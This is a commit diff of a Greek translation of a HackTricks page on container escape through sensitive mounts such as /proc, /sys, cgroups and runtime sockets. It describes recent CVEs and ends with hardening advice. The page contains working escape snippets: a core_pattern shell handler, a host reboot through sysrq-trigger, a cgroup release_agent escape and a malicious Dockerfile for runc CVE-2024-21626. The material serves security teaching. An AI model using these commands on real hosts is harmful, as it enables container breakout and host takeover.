Translated ['src/linux-hardening/privilege-escalation/docker-security/do

This commit is contained in:
Translator 2025-07-29 10:28:19 +00:00
parent fcd6df2b0e
commit b3eefcd110

View File

@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελάζονται από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
@ -25,7 +25,7 @@ cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
Ελέγξτε [αυτή την ανάρτηση](https://pwning.systems/posts/escaping-containers-for-fun/) για περισσότερες πληροφορίες.
Ελέγξτε [αυτήν την ανάρτηση](https://pwning.systems/posts/escaping-containers-for-fun/) για περισσότερες πληροφορίες.
Παράδειγμα προγράμματος που καταρρέει:
```c
@ -39,8 +39,8 @@ return 0;
```
#### **`/proc/sys/kernel/modprobe`**
- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνων.
- Αναλυτικά στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνα.
- **Παράδειγμα Ελέγχου Πρόσβασης**:
```bash
@ -63,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
- Μπορεί να οδηγήσει σε κλιμάκωση προνομίων ή πρόσβαση σε root shell αν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
- Σχετική εκμετάλλευση και εξήγηση:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Σε βάθος tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- Αναλυτικός οδηγός: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Άλλα στο `/proc`
@ -83,7 +83,7 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
#### **`/proc/kmsg`**
- Εκθέτει μηνύματα του buffer του πυρήνα.
- Εκθέτει μηνύματα του δακτυλίου του πυρήνα.
- Μπορεί να βοηθήσει σε εκμεταλλεύσεις πυρήνα, διαρροές διευθύνσεων και να παρέχει ευαίσθητες πληροφορίες συστήματος.
#### **`/proc/kallsyms`**
@ -101,19 +101,19 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
#### **`/proc/kcore`**
- Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή ELF core.
- Αναπαριστά τη φυσική μνήμη του συστήματος σε μορφή ELF core.
- Η ανάγνωση μπορεί να διαρρεύσει περιεχόμενα μνήμης του host και άλλων κοντέινερ.
- Μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή κρασάρισμα λογισμικού.
- Λεπτομερής χρήση στο [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
- Εναλλακτική διεπαφή για το `/dev/kmem`, που αντιπροσωπεύει τη εικονική μνήμη του πυρήνα.
- Εναλλακτική διεπαφή για το `/dev/kmem`, που αναπαριστά τη εικονική μνήμη του πυρήνα.
- Επιτρέπει την ανάγνωση και εγγραφή, επομένως άμεση τροποποίηση της μνήμης του πυρήνα.
#### **`/proc/mem`**
- Εναλλακτική διεπαφή για το `/dev/mem`, που αντιπροσωπεύει τη φυσική μνήμη.
- Εναλλακτική διεπαφή για το `/dev/mem`, που αναπαριστά τη φυσική μνήμη.
- Επιτρέπει την ανάγνωση και εγγραφή, η τροποποίηση όλης της μνήμης απαιτεί την επίλυση εικονικών σε φυσικές διευθύνσεις.
#### **`/proc/sched_debug`**
@ -270,16 +270,14 @@ Docker Root Dir: /var/lib/docker
So the filesystems are under `/var/lib/docker/overlay2/`:
```bash
```markdown
$ sudo ls -la /var/lib/docker/overlay2
drwx--x--- 4 root root 4096 Ιαν 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 Ιαν 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 Ιαν 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 Ιαν 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
drwx--x--- 4 root root 4096 Ιαν 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 Ιαν 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 Ιαν 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 Ιαν 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
```
```
#### Note
@ -293,14 +291,13 @@ locate the other containers' filesystems and SA / web identity tokens
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
```text
```
/run/containerd/containerd.sock # socket CRI του containerd
/var/run/crio/crio.sock # socket χρόνου εκτέλεσης CRI-O
/run/podman/podman.sock # API Podman (με δικαιώματα root ή χωρίς)
/var/run/kubelet.sock # API Kubelet σε κόμβους Kubernetes
/run/containerd/containerd.sock # socket CRI του containerd
/var/run/crio/crio.sock # socket χρόνου εκτέλεσης CRI-O
/run/podman/podman.sock # API Podman (με δικαιώματα root ή χωρίς)
/run/buildkit/buildkitd.sock # daemon BuildKit (με δικαιώματα root)
/var/run/kubelet.sock # API Kubelet σε κόμβους Kubernetes
/run/firecracker-containerd.sock # Kata / Firecracker
```
```
Attack example abusing a mounted **containerd** socket:
@ -317,7 +314,7 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
```bash
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
# υποθέτοντας ότι το κοντέινερ έχει CAP_SYS_ADMIN και έναν ευάλωτο πυρήνα
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # απαιτεί CVE-2022-0492
@ -331,7 +328,7 @@ When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**
### Mount-Related Escape CVEs (2023-2025)
* **CVE-2024-21626 runc “Leaky Vessels” file-descriptor leak**
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).
```Dockerfile
FROM scratch
@ -342,11 +339,17 @@ CMD ["/bin/sh"]
* **CVE-2024-23651 / 23653 BuildKit OverlayFS copy-up TOCTOU**
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the containers rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
* **CVE-2024-1753 Buildah / Podman bind-mount breakout during `build`**
Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to `--mount=type=bind` in a *Containerfile*. A crafted build stage could mount `/` from the host **read-write** inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.
* **CVE-2024-40635 containerd UID integer overflow**
Supplying a `User` value larger than `2147483647` in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.
### Hardening Reminders (2025)
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
### References
@ -356,5 +359,7 @@ A race condition in the BuildKit snapshotter let an attacker replace a file that
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
- [Buildah CVE-2024-1753 advisory](https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf)
- [containerd CVE-2024-40635 advisory](https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg)
{{#include ../../../../banners/hacktricks-training.md}}